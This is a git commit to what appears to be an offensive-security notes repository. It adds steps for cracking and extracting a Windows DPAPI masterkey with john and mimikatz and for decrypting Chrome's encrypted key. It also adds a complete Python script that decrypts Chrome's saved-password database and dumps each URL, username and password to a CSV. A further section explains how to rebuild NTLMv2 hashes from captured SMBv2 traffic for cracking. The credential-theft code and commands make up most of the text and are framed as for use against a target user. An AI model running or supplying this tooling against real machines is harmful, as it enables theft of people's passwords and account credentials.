added information about DPAPI decryption and reconstruction of NTLMv2 hashes through SMBv2 via Wireshark.

This commit is contained in:
gurkenhabicht 2024-03-03 20:15:35 +01:00
parent fc17f75721
commit 97317fcefa
2 changed files with 179 additions and 1 deletions

View File

@ -5,7 +5,166 @@
* [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html) * [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html)
* [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++) * [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++)
## Tools ## Extract DPAPI Masterkey from AppData
First find the user passwords inside `C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<MasterkeyFile>`
```sh
DPAPImk2john --sid <SID> --masterkey <PathToMasterKeyFile> --context local > hash.txt
john --wordlist=<wordlist> hash.txt
```
Use mimikatz on windows to extract the masterkey after the password has been discovered.
```sh
mimikatz
dpapi::masterkey /in:<AbsolutePathtoMasterKeyFile> /sid:<SID> /password:<password> /protected
```
This master key is used to derive keys for encryption or encrypt other keys
instead of just encrypting files directly through DPAPI.
## Use a DPAPI Masterkey to Decrypt an Encrypted Blob
The found masterkey can be used to decrypt encrypted data or even other keys
which are used for file encryption.
Use mimikatz to extract data/keys from an encrypted blob.
```sh
mimikatz
dpapi::blob /in:<AbsolutePathtoEncryptedFile> /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted_blob"
```
### Use of DPAPI in Google Chrome
Google Chrome encrypts the key of which is used for password vaults of the
users. The `encrypted_key` inside a JSON file named `Local State` is an DPAPI
encrypted key. Get the key through using jq.
```sh
jq .os_crypt.encrypted_key -r AppData/Local/Google/Chrome/User\ Data/\Local\ State
```
The `encrypted_key` itself is encrypted through DPAPI. To decrypt it, base64
decode it at first and remove the first 5 characters, which are `DPAPI` from
the decoded string.
```sh
jq .os_crypt.encrypted_key -r \
AppData/Local/Google/Chrome/User\ Data/\Local\ State | \
base64 -d | \
cut -c-6- > encrypted_key.dat
```
This `encrypted_key.dat` is used to encrypt data inside the sqlite database inside
`AppData/Local/Google/Chrome/User\ Data/Default/Login\ Data`.
```sh
mimikatz
dpapi::blob /in:"./encrypted_key.dat" /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted.key"
```
Decrypt the Database via a modified version of
[ohyicong](https://github.com/ohyicong/decrypt-chrome-passwords.git), depending
on the following circumstances.
* Modify the secret_key function if you got the key through AppData and cannot log in as the user you want to attack
* Modify the column names of select query, depending on the version of Chrome
```python
#Full Credits to LimerBoy
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv
#GLOBAL CONSTANT
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE']))
CHROME_PATH = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
def get_secret_key():
with open('./decrypted.key', 'rb') as f:
return f.read()
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(ciphertext, secret_key):
try:
#(3-a) Initialisation vector for AES decryption
initialisation_vector = ciphertext[3:15]
#(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
#Encrypted password is 192 bits
encrypted_password = ciphertext[15:-16]
#(4) Build the cipher to decrypt the ciphertext
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s"%str(e))
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
return ""
def get_db_connection(chrome_path_login_db):
try:
print(chrome_path_login_db)
shutil.copy2(chrome_path_login_db, "Loginvault.db")
return sqlite3.connect("Loginvault.db")
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome database cannot be found")
return None
if __name__ == '__main__':
try:
#Create Dataframe to store passwords
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
csv_writer.writerow(["index","url","username","password"])
#(1) Get secret key
secret_key = get_secret_key()
#Search user profile or default folder (this is where the encrypted login password is stored)
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
for folder in folders:
#(2) Get ciphertext from sqlite database
chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder))
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url!="" and username!="" and ciphertext!=""):
#(3) Filter the initialisation vector & encrypted password from ciphertext
#(4) Use AES algorithm to decrypt the password
decrypted_password = decrypt_password(ciphertext, secret_key)
print("Sequence: %d"%(index))
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
print("*"*50)
#(5) Save into CSV
csv_writer.writerow([index,url,username,decrypted_password])
#Close database connection
cursor.close()
conn.close()
#Delete temp login db
os.remove("Loginvault.db")
except Exception as e:
print("[ERR] %s"%str(e))
```
## Other Tools
* [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git) * [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git)
* [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools) * [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools)

View File

@ -18,3 +18,22 @@ Search for the DNS requests containing the specific top level domain.
```sh ```sh
tshark -r capture.pcapng -Y 'dns && ip.dst==167.71.211.113 && (dns contains xyz)' -T fields -e dns.qry.name | awk -F '.' '{print $1}' | uniq > dns.out tshark -r capture.pcapng -Y 'dns && ip.dst==167.71.211.113 && (dns contains xyz)' -T fields -e dns.qry.name | awk -F '.' '{print $1}' | uniq > dns.out
``` ```
## NTLMv2 hash Reconstruction via SMBv2
Session setup of SMBv2 leaves enough information to reconstruct the NTLMv2 hash.
Take a look at the second and third packets of the initialization, namely
`Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE`
and `Session Setup Request, NTLMSSP_AUTH, User: <DOMAIN\USERNAME>`.
The scheme of an NTLMv2 hash is the following.
```
[User name]::[Domain name]:[NTLM Server Challenge]:[NTProofStr]:[Rest of NTLMv2 Response]
```
The `NTLM Server Challenge` can be found inside the `Security Blob` of the
request from the server.
`User name`, `Domain name` and `NTLMv2 Response` can be found inside the
`Security Blob` inside the response sent by the client. `NTProofStr` is the
first part of the `NTLM Response`. Set a `:` between `NTProofStr` and the rest of the `NTLMv2 Response`.